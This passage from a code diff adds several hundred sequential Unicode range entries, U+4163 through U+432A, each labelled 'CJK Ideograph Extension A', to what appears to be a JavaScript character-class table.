+ ["\u4163", "\u4163"], /* CJK Ideograph Extension A */
+ ["\u4164", "\u4164"], /* CJK Ideograph Extension A */
+ ["\u4165", "\u4165"], /* CJK Ideograph Extension A */
+ ["\u4166", "\u4166"], /* CJK Ideograph Extension A */
+ ["\u4167", "\u4167"], /* CJK Ideograph Extension A */
+ ["\u4168", "\u4168"], /* CJK Ideograph Extension A */
+ ["\u4169", "\u4169"], /* CJK Ideograph Extension A */
+ ["\u416A", "\u416A"], /* CJK Ideograph Extension A */
+ ["\u416B", "\u416B"], /* CJK Ideograph Extension A */
+ ["\u416C", "\u416C"], /* CJK Ideograph Extension A */
+ ["\u416D", "\u416D"], /* CJK Ideograph Extension A */
+ ["\u416E", "\u416E"], /* CJK Ideograph Extension A */
+ ["\u416F", "\u416F"], /* CJK Ideograph Extension A */
+ ["\u4170", "\u4170"], /* CJK Ideograph Extension A */
+ ["\u4171", "\u4171"], /* CJK Ideograph Extension A */
+ ["\u4172", "\u4172"], /* CJK Ideograph Extension A */
+ ["\u4173", "\u4173"], /* CJK Ideograph Extension A */
+ ["\u4174", "\u4174"], /* CJK Ideograph Extension A */
+ ["\u4175", "\u4175"], /* CJK Ideograph Extension A */
+ ["\u4176", "\u4176"], /* CJK Ideograph Extension A */
+ ["\u4177", "\u4177"], /* CJK Ideograph Extension A */
+ ["\u4178", "\u4178"], /* CJK Ideograph Extension A */
+ ["\u4179", "\u4179"], /* CJK Ideograph Extension A */
+ ["\u417A", "\u417A"], /* CJK Ideograph Extension A */
+ ["\u417B", "\u417B"], /* CJK Ideograph Extension A */
+ ["\u417C", "\u417C"], /* CJK Ideograph Extension A */
+ ["\u417D", "\u417D"], /* CJK Ideograph Extension A */
+ ["\u417E", "\u417E"], /* CJK Ideograph Extension A */
+ ["\u417F", "\u417F"], /* CJK Ideograph Extension A */
+ ["\u4180", "\u4180"], /* CJK Ideograph Extension A */
+ ["\u4181", "\u4181"], /* CJK Ideograph Extension A */
+ ["\u4182", "\u4182"], /* CJK Ideograph Extension A */
+ ["\u4183", "\u4183"], /* CJK Ideograph Extension A */
+ ["\u4184", "\u4184"], /* CJK Ideograph Extension A */
+ ["\u4185", "\u4185"], /* CJK Ideograph Extension A */
+ ["\u4186", "\u4186"], /* CJK Ideograph Extension A */
+ ["\u4187", "\u4187"], /* CJK Ideograph Extension A */
+ ["\u4188", "\u4188"], /* CJK Ideograph Extension A */
+ ["\u4189", "\u4189"], /* CJK Ideograph Extension A */
+ ["\u418A", "\u418A"], /* CJK Ideograph Extension A */
+ ["\u418B", "\u418B"], /* CJK Ideograph Extension A */
+ ["\u418C", "\u418C"], /* CJK Ideograph Extension A */
+ ["\u418D", "\u418D"], /* CJK Ideograph Extension A */
+ ["\u418E", "\u418E"], /* CJK Ideograph Extension A */
+ ["\u418F", "\u418F"], /* CJK Ideograph Extension A */
+ ["\u4190", "\u4190"], /* CJK Ideograph Extension A */
+ ["\u4191", "\u4191"], /* CJK Ideograph Extension A */
+ ["\u4192", "\u4192"], /* CJK Ideograph Extension A */
+ ["\u4193", "\u4193"], /* CJK Ideograph Extension A */
+ ["\u4194", "\u4194"], /* CJK Ideograph Extension A */
+ ["\u4195", "\u4195"], /* CJK Ideograph Extension A */
+ ["\u4196", "\u4196"], /* CJK Ideograph Extension A */
+ ["\u4197", "\u4197"], /* CJK Ideograph Extension A */
+ ["\u4198", "\u4198"], /* CJK Ideograph Extension A */
+ ["\u4199", "\u4199"], /* CJK Ideograph Extension A */
+ ["\u419A", "\u419A"], /* CJK Ideograph Extension A */
+ ["\u419B", "\u419B"], /* CJK Ideograph Extension A */
+ ["\u419C", "\u419C"], /* CJK Ideograph Extension A */
+ ["\u419D", "\u419D"], /* CJK Ideograph Extension A */
+ ["\u419E", "\u419E"], /* CJK Ideograph Extension A */
+ ["\u419F", "\u419F"], /* CJK Ideograph Extension A */
+ ["\u41A0", "\u41A0"], /* CJK Ideograph Extension A */
+ ["\u41A1", "\u41A1"], /* CJK Ideograph Extension A */
+ ["\u41A2", "\u41A2"], /* CJK Ideograph Extension A */
+ ["\u41A3", "\u41A3"], /* CJK Ideograph Extension A */
+ ["\u41A4", "\u41A4"], /* CJK Ideograph Extension A */
+ ["\u41A5", "\u41A5"], /* CJK Ideograph Extension A */
+ ["\u41A6", "\u41A6"], /* CJK Ideograph Extension A */
+ ["\u41A7", "\u41A7"], /* CJK Ideograph Extension A */
+ ["\u41A8", "\u41A8"], /* CJK Ideograph Extension A */
+ ["\u41A9", "\u41A9"], /* CJK Ideograph Extension A */
+ ["\u41AA", "\u41AA"], /* CJK Ideograph Extension A */
+ ["\u41AB", "\u41AB"], /* CJK Ideograph Extension A */
+ ["\u41AC", "\u41AC"], /* CJK Ideograph Extension A */
+ ["\u41AD", "\u41AD"], /* CJK Ideograph Extension A */
+ ["\u41AE", "\u41AE"], /* CJK Ideograph Extension A */
+ ["\u41AF", "\u41AF"], /* CJK Ideograph Extension A */
+ ["\u41B0", "\u41B0"], /* CJK Ideograph Extension A */
+ ["\u41B1", "\u41B1"], /* CJK Ideograph Extension A */
+ ["\u41B2", "\u41B2"], /* CJK Ideograph Extension A */
+ ["\u41B3", "\u41B3"], /* CJK Ideograph Extension A */
+ ["\u41B4", "\u41B4"], /* CJK Ideograph Extension A */
+ ["\u41B5", "\u41B5"], /* CJK Ideograph Extension A */
+ ["\u41B6", "\u41B6"], /* CJK Ideograph Extension A */
+ ["\u41B7", "\u41B7"], /* CJK Ideograph Extension A */
+ ["\u41B8", "\u41B8"], /* CJK Ideograph Extension A */
+ ["\u41B9", "\u41B9"], /* CJK Ideograph Extension A */
+ ["\u41BA", "\u41BA"], /* CJK Ideograph Extension A */
+ ["\u41BB", "\u41BB"], /* CJK Ideograph Extension A */
+ ["\u41BC", "\u41BC"], /* CJK Ideograph Extension A */
+ ["\u41BD", "\u41BD"], /* CJK Ideograph Extension A */
+ ["\u41BE", "\u41BE"], /* CJK Ideograph Extension A */
+ ["\u41BF", "\u41BF"], /* CJK Ideograph Extension A */
+ ["\u41C0", "\u41C0"], /* CJK Ideograph Extension A */
+ ["\u41C1", "\u41C1"], /* CJK Ideograph Extension A */
+ ["\u41C2", "\u41C2"], /* CJK Ideograph Extension A */
+ ["\u41C3", "\u41C3"], /* CJK Ideograph Extension A */
+ ["\u41C4", "\u41C4"], /* CJK Ideograph Extension A */
+ ["\u41C5", "\u41C5"], /* CJK Ideograph Extension A */
+ ["\u41C6", "\u41C6"], /* CJK Ideograph Extension A */
+ ["\u41C7", "\u41C7"], /* CJK Ideograph Extension A */
+ ["\u41C8", "\u41C8"], /* CJK Ideograph Extension A */
+ ["\u41C9", "\u41C9"], /* CJK Ideograph Extension A */
+ ["\u41CA", "\u41CA"], /* CJK Ideograph Extension A */
+ ["\u41CB", "\u41CB"], /* CJK Ideograph Extension A */
+ ["\u41CC", "\u41CC"], /* CJK Ideograph Extension A */
+ ["\u41CD", "\u41CD"], /* CJK Ideograph Extension A */
+ ["\u41CE", "\u41CE"], /* CJK Ideograph Extension A */
+ ["\u41CF", "\u41CF"], /* CJK Ideograph Extension A */
+ ["\u41D0", "\u41D0"], /* CJK Ideograph Extension A */
+ ["\u41D1", "\u41D1"], /* CJK Ideograph Extension A */
+ ["\u41D2", "\u41D2"], /* CJK Ideograph Extension A */
+ ["\u41D3", "\u41D3"], /* CJK Ideograph Extension A */
+ ["\u41D4", "\u41D4"], /* CJK Ideograph Extension A */
+ ["\u41D5", "\u41D5"], /* CJK Ideograph Extension A */
+ ["\u41D6", "\u41D6"], /* CJK Ideograph Extension A */
+ ["\u41D7", "\u41D7"], /* CJK Ideograph Extension A */
+ ["\u41D8", "\u41D8"], /* CJK Ideograph Extension A */
+ ["\u41D9", "\u41D9"], /* CJK Ideograph Extension A */
+ ["\u41DA", "\u41DA"], /* CJK Ideograph Extension A */
+ ["\u41DB", "\u41DB"], /* CJK Ideograph Extension A */
+ ["\u41DC", "\u41DC"], /* CJK Ideograph Extension A */
+ ["\u41DD", "\u41DD"], /* CJK Ideograph Extension A */
+ ["\u41DE", "\u41DE"], /* CJK Ideograph Extension A */
+ ["\u41DF", "\u41DF"], /* CJK Ideograph Extension A */
+ ["\u41E0", "\u41E0"], /* CJK Ideograph Extension A */
+ ["\u41E1", "\u41E1"], /* CJK Ideograph Extension A */
+ ["\u41E2", "\u41E2"], /* CJK Ideograph Extension A */
+ ["\u41E3", "\u41E3"], /* CJK Ideograph Extension A */
+ ["\u41E4", "\u41E4"], /* CJK Ideograph Extension A */
+ ["\u41E5", "\u41E5"], /* CJK Ideograph Extension A */
+ ["\u41E6", "\u41E6"], /* CJK Ideograph Extension A */
+ ["\u41E7", "\u41E7"], /* CJK Ideograph Extension A */
+ ["\u41E8", "\u41E8"], /* CJK Ideograph Extension A */
+ ["\u41E9", "\u41E9"], /* CJK Ideograph Extension A */
+ ["\u41EA", "\u41EA"], /* CJK Ideograph Extension A */
+ ["\u41EB", "\u41EB"], /* CJK Ideograph Extension A */
+ ["\u41EC", "\u41EC"], /* CJK Ideograph Extension A */
+ ["\u41ED", "\u41ED"], /* CJK Ideograph Extension A */
+ ["\u41EE", "\u41EE"], /* CJK Ideograph Extension A */
+ ["\u41EF", "\u41EF"], /* CJK Ideograph Extension A */
+ ["\u41F0", "\u41F0"], /* CJK Ideograph Extension A */
+ ["\u41F1", "\u41F1"], /* CJK Ideograph Extension A */
+ ["\u41F2", "\u41F2"], /* CJK Ideograph Extension A */
+ ["\u41F3", "\u41F3"], /* CJK Ideograph Extension A */
+ ["\u41F4", "\u41F4"], /* CJK Ideograph Extension A */
+ ["\u41F5", "\u41F5"], /* CJK Ideograph Extension A */
+ ["\u41F6", "\u41F6"], /* CJK Ideograph Extension A */
+ ["\u41F7", "\u41F7"], /* CJK Ideograph Extension A */
+ ["\u41F8", "\u41F8"], /* CJK Ideograph Extension A */
+ ["\u41F9", "\u41F9"], /* CJK Ideograph Extension A */
+ ["\u41FA", "\u41FA"], /* CJK Ideograph Extension A */
+ ["\u41FB", "\u41FB"], /* CJK Ideograph Extension A */
+ ["\u41FC", "\u41FC"], /* CJK Ideograph Extension A */
+ ["\u41FD", "\u41FD"], /* CJK Ideograph Extension A */
+ ["\u41FE", "\u41FE"], /* CJK Ideograph Extension A */
+ ["\u41FF", "\u41FF"], /* CJK Ideograph Extension A */
+ ["\u4200", "\u4200"], /* CJK Ideograph Extension A */
+ ["\u4201", "\u4201"], /* CJK Ideograph Extension A */
+ ["\u4202", "\u4202"], /* CJK Ideograph Extension A */
+ ["\u4203", "\u4203"], /* CJK Ideograph Extension A */
+ ["\u4204", "\u4204"], /* CJK Ideograph Extension A */
+ ["\u4205", "\u4205"], /* CJK Ideograph Extension A */
+ ["\u4206", "\u4206"], /* CJK Ideograph Extension A */
+ ["\u4207", "\u4207"], /* CJK Ideograph Extension A */
+ ["\u4208", "\u4208"], /* CJK Ideograph Extension A */
+ ["\u4209", "\u4209"], /* CJK Ideograph Extension A */
+ ["\u420A", "\u420A"], /* CJK Ideograph Extension A */
+ ["\u420B", "\u420B"], /* CJK Ideograph Extension A */
+ ["\u420C", "\u420C"], /* CJK Ideograph Extension A */
+ ["\u420D", "\u420D"], /* CJK Ideograph Extension A */
+ ["\u420E", "\u420E"], /* CJK Ideograph Extension A */
+ ["\u420F", "\u420F"], /* CJK Ideograph Extension A */
+ ["\u4210", "\u4210"], /* CJK Ideograph Extension A */
+ ["\u4211", "\u4211"], /* CJK Ideograph Extension A */
+ ["\u4212", "\u4212"], /* CJK Ideograph Extension A */
+ ["\u4213", "\u4213"], /* CJK Ideograph Extension A */
+ ["\u4214", "\u4214"], /* CJK Ideograph Extension A */
+ ["\u4215", "\u4215"], /* CJK Ideograph Extension A */
+ ["\u4216", "\u4216"], /* CJK Ideograph Extension A */
+ ["\u4217", "\u4217"], /* CJK Ideograph Extension A */
+ ["\u4218", "\u4218"], /* CJK Ideograph Extension A */
+ ["\u4219", "\u4219"], /* CJK Ideograph Extension A */
+ ["\u421A", "\u421A"], /* CJK Ideograph Extension A */
+ ["\u421B", "\u421B"], /* CJK Ideograph Extension A */
+ ["\u421C", "\u421C"], /* CJK Ideograph Extension A */
+ ["\u421D", "\u421D"], /* CJK Ideograph Extension A */
+ ["\u421E", "\u421E"], /* CJK Ideograph Extension A */
+ ["\u421F", "\u421F"], /* CJK Ideograph Extension A */
+ ["\u4220", "\u4220"], /* CJK Ideograph Extension A */
+ ["\u4221", "\u4221"], /* CJK Ideograph Extension A */
+ ["\u4222", "\u4222"], /* CJK Ideograph Extension A */
+ ["\u4223", "\u4223"], /* CJK Ideograph Extension A */
+ ["\u4224", "\u4224"], /* CJK Ideograph Extension A */
+ ["\u4225", "\u4225"], /* CJK Ideograph Extension A */
+ ["\u4226", "\u4226"], /* CJK Ideograph Extension A */
+ ["\u4227", "\u4227"], /* CJK Ideograph Extension A */
+ ["\u4228", "\u4228"], /* CJK Ideograph Extension A */
+ ["\u4229", "\u4229"], /* CJK Ideograph Extension A */
+ ["\u422A", "\u422A"], /* CJK Ideograph Extension A */
+ ["\u422B", "\u422B"], /* CJK Ideograph Extension A */
+ ["\u422C", "\u422C"], /* CJK Ideograph Extension A */
+ ["\u422D", "\u422D"], /* CJK Ideograph Extension A */
+ ["\u422E", "\u422E"], /* CJK Ideograph Extension A */
+ ["\u422F", "\u422F"], /* CJK Ideograph Extension A */
+ ["\u4230", "\u4230"], /* CJK Ideograph Extension A */
+ ["\u4231", "\u4231"], /* CJK Ideograph Extension A */
+ ["\u4232", "\u4232"], /* CJK Ideograph Extension A */
+ ["\u4233", "\u4233"], /* CJK Ideograph Extension A */
+ ["\u4234", "\u4234"], /* CJK Ideograph Extension A */
+ ["\u4235", "\u4235"], /* CJK Ideograph Extension A */
+ ["\u4236", "\u4236"], /* CJK Ideograph Extension A */
+ ["\u4237", "\u4237"], /* CJK Ideograph Extension A */
+ ["\u4238", "\u4238"], /* CJK Ideograph Extension A */
+ ["\u4239", "\u4239"], /* CJK Ideograph Extension A */
+ ["\u423A", "\u423A"], /* CJK Ideograph Extension A */
+ ["\u423B", "\u423B"], /* CJK Ideograph Extension A */
+ ["\u423C", "\u423C"], /* CJK Ideograph Extension A */
+ ["\u423D", "\u423D"], /* CJK Ideograph Extension A */
+ ["\u423E", "\u423E"], /* CJK Ideograph Extension A */
+ ["\u423F", "\u423F"], /* CJK Ideograph Extension A */
+ ["\u4240", "\u4240"], /* CJK Ideograph Extension A */
+ ["\u4241", "\u4241"], /* CJK Ideograph Extension A */
+ ["\u4242", "\u4242"], /* CJK Ideograph Extension A */
+ ["\u4243", "\u4243"], /* CJK Ideograph Extension A */
+ ["\u4244", "\u4244"], /* CJK Ideograph Extension A */
+ ["\u4245", "\u4245"], /* CJK Ideograph Extension A */
+ ["\u4246", "\u4246"], /* CJK Ideograph Extension A */
+ ["\u4247", "\u4247"], /* CJK Ideograph Extension A */
+ ["\u4248", "\u4248"], /* CJK Ideograph Extension A */
+ ["\u4249", "\u4249"], /* CJK Ideograph Extension A */
+ ["\u424A", "\u424A"], /* CJK Ideograph Extension A */
+ ["\u424B", "\u424B"], /* CJK Ideograph Extension A */
+ ["\u424C", "\u424C"], /* CJK Ideograph Extension A */
+ ["\u424D", "\u424D"], /* CJK Ideograph Extension A */
+ ["\u424E", "\u424E"], /* CJK Ideograph Extension A */
+ ["\u424F", "\u424F"], /* CJK Ideograph Extension A */
+ ["\u4250", "\u4250"], /* CJK Ideograph Extension A */
+ ["\u4251", "\u4251"], /* CJK Ideograph Extension A */
+ ["\u4252", "\u4252"], /* CJK Ideograph Extension A */
+ ["\u4253", "\u4253"], /* CJK Ideograph Extension A */
+ ["\u4254", "\u4254"], /* CJK Ideograph Extension A */
+ ["\u4255", "\u4255"], /* CJK Ideograph Extension A */
+ ["\u4256", "\u4256"], /* CJK Ideograph Extension A */
+ ["\u4257", "\u4257"], /* CJK Ideograph Extension A */
+ ["\u4258", "\u4258"], /* CJK Ideograph Extension A */
+ ["\u4259", "\u4259"], /* CJK Ideograph Extension A */
+ ["\u425A", "\u425A"], /* CJK Ideograph Extension A */
+ ["\u425B", "\u425B"], /* CJK Ideograph Extension A */
+ ["\u425C", "\u425C"], /* CJK Ideograph Extension A */
+ ["\u425D", "\u425D"], /* CJK Ideograph Extension A */
+ ["\u425E", "\u425E"], /* CJK Ideograph Extension A */
+ ["\u425F", "\u425F"], /* CJK Ideograph Extension A */
+ ["\u4260", "\u4260"], /* CJK Ideograph Extension A */
+ ["\u4261", "\u4261"], /* CJK Ideograph Extension A */
+ ["\u4262", "\u4262"], /* CJK Ideograph Extension A */
+ ["\u4263", "\u4263"], /* CJK Ideograph Extension A */
+ ["\u4264", "\u4264"], /* CJK Ideograph Extension A */
+ ["\u4265", "\u4265"], /* CJK Ideograph Extension A */
+ ["\u4266", "\u4266"], /* CJK Ideograph Extension A */
+ ["\u4267", "\u4267"], /* CJK Ideograph Extension A */
+ ["\u4268", "\u4268"], /* CJK Ideograph Extension A */
+ ["\u4269", "\u4269"], /* CJK Ideograph Extension A */
+ ["\u426A", "\u426A"], /* CJK Ideograph Extension A */
+ ["\u426B", "\u426B"], /* CJK Ideograph Extension A */
+ ["\u426C", "\u426C"], /* CJK Ideograph Extension A */
+ ["\u426D", "\u426D"], /* CJK Ideograph Extension A */
+ ["\u426E", "\u426E"], /* CJK Ideograph Extension A */
+ ["\u426F", "\u426F"], /* CJK Ideograph Extension A */
+ ["\u4270", "\u4270"], /* CJK Ideograph Extension A */
+ ["\u4271", "\u4271"], /* CJK Ideograph Extension A */
+ ["\u4272", "\u4272"], /* CJK Ideograph Extension A */
+ ["\u4273", "\u4273"], /* CJK Ideograph Extension A */
+ ["\u4274", "\u4274"], /* CJK Ideograph Extension A */
+ ["\u4275", "\u4275"], /* CJK Ideograph Extension A */
+ ["\u4276", "\u4276"], /* CJK Ideograph Extension A */
+ ["\u4277", "\u4277"], /* CJK Ideograph Extension A */
+ ["\u4278", "\u4278"], /* CJK Ideograph Extension A */
+ ["\u4279", "\u4279"], /* CJK Ideograph Extension A */
+ ["\u427A", "\u427A"], /* CJK Ideograph Extension A */
+ ["\u427B", "\u427B"], /* CJK Ideograph Extension A */
+ ["\u427C", "\u427C"], /* CJK Ideograph Extension A */
+ ["\u427D", "\u427D"], /* CJK Ideograph Extension A */
+ ["\u427E", "\u427E"], /* CJK Ideograph Extension A */
+ ["\u427F", "\u427F"], /* CJK Ideograph Extension A */
+ ["\u4280", "\u4280"], /* CJK Ideograph Extension A */
+ ["\u4281", "\u4281"], /* CJK Ideograph Extension A */
+ ["\u4282", "\u4282"], /* CJK Ideograph Extension A */
+ ["\u4283", "\u4283"], /* CJK Ideograph Extension A */
+ ["\u4284", "\u4284"], /* CJK Ideograph Extension A */
+ ["\u4285", "\u4285"], /* CJK Ideograph Extension A */
+ ["\u4286", "\u4286"], /* CJK Ideograph Extension A */
+ ["\u4287", "\u4287"], /* CJK Ideograph Extension A */
+ ["\u4288", "\u4288"], /* CJK Ideograph Extension A */
+ ["\u4289", "\u4289"], /* CJK Ideograph Extension A */
+ ["\u428A", "\u428A"], /* CJK Ideograph Extension A */
+ ["\u428B", "\u428B"], /* CJK Ideograph Extension A */
+ ["\u428C", "\u428C"], /* CJK Ideograph Extension A */
+ ["\u428D", "\u428D"], /* CJK Ideograph Extension A */
+ ["\u428E", "\u428E"], /* CJK Ideograph Extension A */
+ ["\u428F", "\u428F"], /* CJK Ideograph Extension A */
+ ["\u4290", "\u4290"], /* CJK Ideograph Extension A */
+ ["\u4291", "\u4291"], /* CJK Ideograph Extension A */
+ ["\u4292", "\u4292"], /* CJK Ideograph Extension A */
+ ["\u4293", "\u4293"], /* CJK Ideograph Extension A */
+ ["\u4294", "\u4294"], /* CJK Ideograph Extension A */
+ ["\u4295", "\u4295"], /* CJK Ideograph Extension A */
+ ["\u4296", "\u4296"], /* CJK Ideograph Extension A */
+ ["\u4297", "\u4297"], /* CJK Ideograph Extension A */
+ ["\u4298", "\u4298"], /* CJK Ideograph Extension A */
+ ["\u4299", "\u4299"], /* CJK Ideograph Extension A */
+ ["\u429A", "\u429A"], /* CJK Ideograph Extension A */
+ ["\u429B", "\u429B"], /* CJK Ideograph Extension A */
+ ["\u429C", "\u429C"], /* CJK Ideograph Extension A */
+ ["\u429D", "\u429D"], /* CJK Ideograph Extension A */
+ ["\u429E", "\u429E"], /* CJK Ideograph Extension A */
+ ["\u429F", "\u429F"], /* CJK Ideograph Extension A */
+ ["\u42A0", "\u42A0"], /* CJK Ideograph Extension A */
+ ["\u42A1", "\u42A1"], /* CJK Ideograph Extension A */
+ ["\u42A2", "\u42A2"], /* CJK Ideograph Extension A */
+ ["\u42A3", "\u42A3"], /* CJK Ideograph Extension A */
+ ["\u42A4", "\u42A4"], /* CJK Ideograph Extension A */
+ ["\u42A5", "\u42A5"], /* CJK Ideograph Extension A */
+ ["\u42A6", "\u42A6"], /* CJK Ideograph Extension A */
+ ["\u42A7", "\u42A7"], /* CJK Ideograph Extension A */
+ ["\u42A8", "\u42A8"], /* CJK Ideograph Extension A */
+ ["\u42A9", "\u42A9"], /* CJK Ideograph Extension A */
+ ["\u42AA", "\u42AA"], /* CJK Ideograph Extension A */
+ ["\u42AB", "\u42AB"], /* CJK Ideograph Extension A */
+ ["\u42AC", "\u42AC"], /* CJK Ideograph Extension A */
+ ["\u42AD", "\u42AD"], /* CJK Ideograph Extension A */
+ ["\u42AE", "\u42AE"], /* CJK Ideograph Extension A */
+ ["\u42AF", "\u42AF"], /* CJK Ideograph Extension A */
+ ["\u42B0", "\u42B0"], /* CJK Ideograph Extension A */
+ ["\u42B1", "\u42B1"], /* CJK Ideograph Extension A */
+ ["\u42B2", "\u42B2"], /* CJK Ideograph Extension A */
+ ["\u42B3", "\u42B3"], /* CJK Ideograph Extension A */
+ ["\u42B4", "\u42B4"], /* CJK Ideograph Extension A */
+ ["\u42B5", "\u42B5"], /* CJK Ideograph Extension A */
+ ["\u42B6", "\u42B6"], /* CJK Ideograph Extension A */
+ ["\u42B7", "\u42B7"], /* CJK Ideograph Extension A */
+ ["\u42B8", "\u42B8"], /* CJK Ideograph Extension A */
+ ["\u42B9", "\u42B9"], /* CJK Ideograph Extension A */
+ ["\u42BA", "\u42BA"], /* CJK Ideograph Extension A */
+ ["\u42BB", "\u42BB"], /* CJK Ideograph Extension A */
+ ["\u42BC", "\u42BC"], /* CJK Ideograph Extension A */
+ ["\u42BD", "\u42BD"], /* CJK Ideograph Extension A */
+ ["\u42BE", "\u42BE"], /* CJK Ideograph Extension A */
+ ["\u42BF", "\u42BF"], /* CJK Ideograph Extension A */
+ ["\u42C0", "\u42C0"], /* CJK Ideograph Extension A */
+ ["\u42C1", "\u42C1"], /* CJK Ideograph Extension A */
+ ["\u42C2", "\u42C2"], /* CJK Ideograph Extension A */
+ ["\u42C3", "\u42C3"], /* CJK Ideograph Extension A */
+ ["\u42C4", "\u42C4"], /* CJK Ideograph Extension A */
+ ["\u42C5", "\u42C5"], /* CJK Ideograph Extension A */
+ ["\u42C6", "\u42C6"], /* CJK Ideograph Extension A */
+ ["\u42C7", "\u42C7"], /* CJK Ideograph Extension A */
+ ["\u42C8", "\u42C8"], /* CJK Ideograph Extension A */
+ ["\u42C9", "\u42C9"], /* CJK Ideograph Extension A */
+ ["\u42CA", "\u42CA"], /* CJK Ideograph Extension A */
+ ["\u42CB", "\u42CB"], /* CJK Ideograph Extension A */
+ ["\u42CC", "\u42CC"], /* CJK Ideograph Extension A */
+ ["\u42CD", "\u42CD"], /* CJK Ideograph Extension A */
+ ["\u42CE", "\u42CE"], /* CJK Ideograph Extension A */
+ ["\u42CF", "\u42CF"], /* CJK Ideograph Extension A */
+ ["\u42D0", "\u42D0"], /* CJK Ideograph Extension A */
+ ["\u42D1", "\u42D1"], /* CJK Ideograph Extension A */
+ ["\u42D2", "\u42D2"], /* CJK Ideograph Extension A */
+ ["\u42D3", "\u42D3"], /* CJK Ideograph Extension A */
+ ["\u42D4", "\u42D4"], /* CJK Ideograph Extension A */
+ ["\u42D5", "\u42D5"], /* CJK Ideograph Extension A */
+ ["\u42D6", "\u42D6"], /* CJK Ideograph Extension A */
+ ["\u42D7", "\u42D7"], /* CJK Ideograph Extension A */
+ ["\u42D8", "\u42D8"], /* CJK Ideograph Extension A */
+ ["\u42D9", "\u42D9"], /* CJK Ideograph Extension A */
+ ["\u42DA", "\u42DA"], /* CJK Ideograph Extension A */
+ ["\u42DB", "\u42DB"], /* CJK Ideograph Extension A */
+ ["\u42DC", "\u42DC"], /* CJK Ideograph Extension A */
+ ["\u42DD", "\u42DD"], /* CJK Ideograph Extension A */
+ ["\u42DE", "\u42DE"], /* CJK Ideograph Extension A */
+ ["\u42DF", "\u42DF"], /* CJK Ideograph Extension A */
+ ["\u42E0", "\u42E0"], /* CJK Ideograph Extension A */
+ ["\u42E1", "\u42E1"], /* CJK Ideograph Extension A */
+ ["\u42E2", "\u42E2"], /* CJK Ideograph Extension A */
+ ["\u42E3", "\u42E3"], /* CJK Ideograph Extension A */
+ ["\u42E4", "\u42E4"], /* CJK Ideograph Extension A */
+ ["\u42E5", "\u42E5"], /* CJK Ideograph Extension A */
+ ["\u42E6", "\u42E6"], /* CJK Ideograph Extension A */
+ ["\u42E7", "\u42E7"], /* CJK Ideograph Extension A */
+ ["\u42E8", "\u42E8"], /* CJK Ideograph Extension A */
+ ["\u42E9", "\u42E9"], /* CJK Ideograph Extension A */
+ ["\u42EA", "\u42EA"], /* CJK Ideograph Extension A */
+ ["\u42EB", "\u42EB"], /* CJK Ideograph Extension A */
+ ["\u42EC", "\u42EC"], /* CJK Ideograph Extension A */
+ ["\u42ED", "\u42ED"], /* CJK Ideograph Extension A */
+ ["\u42EE", "\u42EE"], /* CJK Ideograph Extension A */
+ ["\u42EF", "\u42EF"], /* CJK Ideograph Extension A */
+ ["\u42F0", "\u42F0"], /* CJK Ideograph Extension A */
+ ["\u42F1", "\u42F1"], /* CJK Ideograph Extension A */
+ ["\u42F2", "\u42F2"], /* CJK Ideograph Extension A */
+ ["\u42F3", "\u42F3"], /* CJK Ideograph Extension A */
+ ["\u42F4", "\u42F4"], /* CJK Ideograph Extension A */
+ ["\u42F5", "\u42F5"], /* CJK Ideograph Extension A */
+ ["\u42F6", "\u42F6"], /* CJK Ideograph Extension A */
+ ["\u42F7", "\u42F7"], /* CJK Ideograph Extension A */
+ ["\u42F8", "\u42F8"], /* CJK Ideograph Extension A */
+ ["\u42F9", "\u42F9"], /* CJK Ideograph Extension A */
+ ["\u42FA", "\u42FA"], /* CJK Ideograph Extension A */
+ ["\u42FB", "\u42FB"], /* CJK Ideograph Extension A */
+ ["\u42FC", "\u42FC"], /* CJK Ideograph Extension A */
+ ["\u42FD", "\u42FD"], /* CJK Ideograph Extension A */
+ ["\u42FE", "\u42FE"], /* CJK Ideograph Extension A */
+ ["\u42FF", "\u42FF"], /* CJK Ideograph Extension A */
+ ["\u4300", "\u4300"], /* CJK Ideograph Extension A */
+ ["\u4301", "\u4301"], /* CJK Ideograph Extension A */
+ ["\u4302", "\u4302"], /* CJK Ideograph Extension A */
+ ["\u4303", "\u4303"], /* CJK Ideograph Extension A */
+ ["\u4304", "\u4304"], /* CJK Ideograph Extension A */
+ ["\u4305", "\u4305"], /* CJK Ideograph Extension A */
+ ["\u4306", "\u4306"], /* CJK Ideograph Extension A */
+ ["\u4307", "\u4307"], /* CJK Ideograph Extension A */
+ ["\u4308", "\u4308"], /* CJK Ideograph Extension A */
+ ["\u4309", "\u4309"], /* CJK Ideograph Extension A */
+ ["\u430A", "\u430A"], /* CJK Ideograph Extension A */
+ ["\u430B", "\u430B"], /* CJK Ideograph Extension A */
+ ["\u430C", "\u430C"], /* CJK Ideograph Extension A */
+ ["\u430D", "\u430D"], /* CJK Ideograph Extension A */
+ ["\u430E", "\u430E"], /* CJK Ideograph Extension A */
+ ["\u430F", "\u430F"], /* CJK Ideograph Extension A */
+ ["\u4310", "\u4310"], /* CJK Ideograph Extension A */
+ ["\u4311", "\u4311"], /* CJK Ideograph Extension A */
+ ["\u4312", "\u4312"], /* CJK Ideograph Extension A */
+ ["\u4313", "\u4313"], /* CJK Ideograph Extension A */
+ ["\u4314", "\u4314"], /* CJK Ideograph Extension A */
+ ["\u4315", "\u4315"], /* CJK Ideograph Extension A */
+ ["\u4316", "\u4316"], /* CJK Ideograph Extension A */
+ ["\u4317", "\u4317"], /* CJK Ideograph Extension A */
+ ["\u4318", "\u4318"], /* CJK Ideograph Extension A */
+ ["\u4319", "\u4319"], /* CJK Ideograph Extension A */
+ ["\u431A", "\u431A"], /* CJK Ideograph Extension A */
+ ["\u431B", "\u431B"], /* CJK Ideograph Extension A */
+ ["\u431C", "\u431C"], /* CJK Ideograph Extension A */
+ ["\u431D", "\u431D"], /* CJK Ideograph Extension A */
+ ["\u431E", "\u431E"], /* CJK Ideograph Extension A */
+ ["\u431F", "\u431F"], /* CJK Ideograph Extension A */
+ ["\u4320", "\u4320"], /* CJK Ideograph Extension A */
+ ["\u4321", "\u4321"], /* CJK Ideograph Extension A */
+ ["\u4322", "\u4322"], /* CJK Ideograph Extension A */
+ ["\u4323", "\u4323"], /* CJK Ideograph Extension A */
+ ["\u4324", "\u4324"], /* CJK Ideograph Extension A */
+ ["\u4325", "\u4325"], /* CJK Ideograph Extension A */
+ ["\u4326", "\u4326"], /* CJK Ideograph Extension A */
+ ["\u4327", "\u4327"], /* CJK Ideograph Extension A */
+ ["\u4328", "\u4328"], /* CJK Ideograph Extension A */
+ ["\u4329", "\u4329"], /* CJK Ideograph Extension A */
+ ["\u432A", "\u432A"], /* CJK Ideograph Extension A */
